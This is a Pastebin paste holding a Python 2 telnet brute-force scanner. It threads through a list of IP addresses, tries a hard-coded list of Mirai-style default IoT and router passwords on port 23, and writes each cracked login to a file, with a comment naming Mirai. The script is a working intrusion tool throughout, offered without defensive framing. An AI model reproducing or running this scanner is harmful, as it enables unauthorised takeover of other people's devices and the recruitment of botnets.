Advertisement
Guest User

Untitled

a guest
Sep 19th, 2018
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.48 KB | None | 0 0
  1. #!/usr/bin/python
  2. import sys, os, re, time, socket, threading
  3. from Queue import *
  4. from sys import stdout
  5.  
  6. if len(sys.argv) < 4:
  7. print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"
  8. sys.exit()
  9.  
  10. combo = [
  11. "support:support",
  12. "root:vizxv",
  13. "root:xc3511",
  14. "telnet:telnet",
  15. "root:root",
  16. "supervisor:zyad1234",
  17. "root: ",
  18. "admin:1234",
  19. "user:user",
  20. "root:antslq",
  21. "admin:admin",
  22. "root:5up",
  23. "admin:CentryL1nk",
  24. "admin:QwestM0dem",
  25. "root:klv123",
  26. "Administrator:admin",
  27. "service:service",
  28. "supervisor:supervisor",
  29. "guest:guest",
  30. "guest:12345",
  31. "admin1:password",
  32. "administrator:1234",
  33. "666666:666666",
  34. "888888:888888",
  35. "ubnt:ubnt",
  36. "root:klv1234",
  37. "root:Zte521",
  38. "root:hi3518",
  39. "root:jvbzd",
  40. "root:zlxx.",
  41. "root:7ujMko0vizxv",
  42. "root:7ujMko0admin",
  43. "root:system",
  44. "root:ikwb",
  45. "root:dreambox",
  46. "root:user",
  47. "root:realtek",
  48. "root:00000000",
  49. "admin:1111111",
  50. "admin:1234",
  51. "admin:12345",
  52. "admin:54321",
  53. "admin:123456",
  54. "admin:7ujMko0admin",
  55. "admin:1234",
  56. "admin:pass",
  57. "admin:meinsm",
  58. "tech:tech",
  59. "butter:xuelp123",
  60. "supervisor:zyad1234",
  61. "root:"
  62. ]
  63.  
  64. ips = open(sys.argv[1], "r").readlines()
  65. threads = int(sys.argv[2])
  66. output_file = sys.argv[3]
  67. queue = Queue()
  68. queue_count = 0
  69.  
  70. for ip in ips:
  71. queue_count += 1
  72. stdout.write("\r[%d] Added to queue" % queue_count)
  73. stdout.flush()
  74. queue.put(ip)
  75. print "\n"
  76.  
  77.  
  78. class router(threading.Thread):
  79. def __init__ (self, ip):
  80. threading.Thread.__init__(self)
  81. self.ip = str(ip).rstrip('\n')
  82. def run(self):
  83. username = ""
  84. password = ""
  85. for passwd in combo:
  86. if ":n/a" in passwd:
  87. password=""
  88. else:
  89. password=passwd.split(":")[1]
  90. if "n/a:" in passwd:
  91. username=""
  92. else:
  93. username=passwd.split(":")[0]
  94. try:
  95. tn = socket.socket()
  96. tn.settimeout(8)
  97. tn.connect((self.ip,23))
  98. except Exception:
  99. tn.close()
  100. break
  101. try:
  102. hoho = ''
  103. hoho += readUntil(tn, "ogin:")
  104. if "ogin" in hoho:
  105. tn.send(username + "\n")
  106. time.sleep(0.09)
  107. except Exception:
  108. tn.close()
  109. try:
  110. hoho = ''
  111. hoho += readUntil(tn, "assword:")
  112. if "assword" in hoho:
  113. tn.send(password + "\n")
  114. time.sleep(0.8)
  115. else:
  116. pass
  117. except Exception:
  118. tn.close()
  119. try:
  120. prompt = ''
  121. prompt += tn.recv(40960)
  122. if ">" in prompt and "ONT" not in prompt:
  123. success = True
  124. elif "#" in prompt or "$" in prompt or "%" in prompt or "@" in prompt:
  125. success = True
  126. else:
  127. tn.close()
  128. if success == True:
  129. try:
  130. os.system("echo "+self.ip+":23 "+username+":"+password+" >> "+output_file+"") # 1.1.1.1:23 user:pass # mirai
  131. print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)
  132. tn.close()
  133. break
  134. except:
  135. tn.close()
  136. else:
  137. tn.close()
  138. except Exception:
  139. tn.close()
  140.  
  141. def readUntil(tn, string, timeout=8):
  142. buf = ''
  143. start_time = time.time()
  144. while time.time() - start_time < timeout:
  145. buf += tn.recv(1024)
  146. time.sleep(0.01)
  147. if string in buf: return buf
  148. raise Exception('TIMEOUT!')
  149.  
  150. def worker():
  151. try:
  152. while True:
  153. try:
  154. IP = queue.get()
  155. thread = router(IP)
  156. thread.start()
  157. queue.task_done()
  158. time.sleep(0.02)
  159. except:
  160. pass
  161. except:
  162. pass
  163.  
  164. for l in xrange(threads):
  165. try:
  166. t = threading.Thread(target=worker)
  167. t.start()
  168. except:
  169. pass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement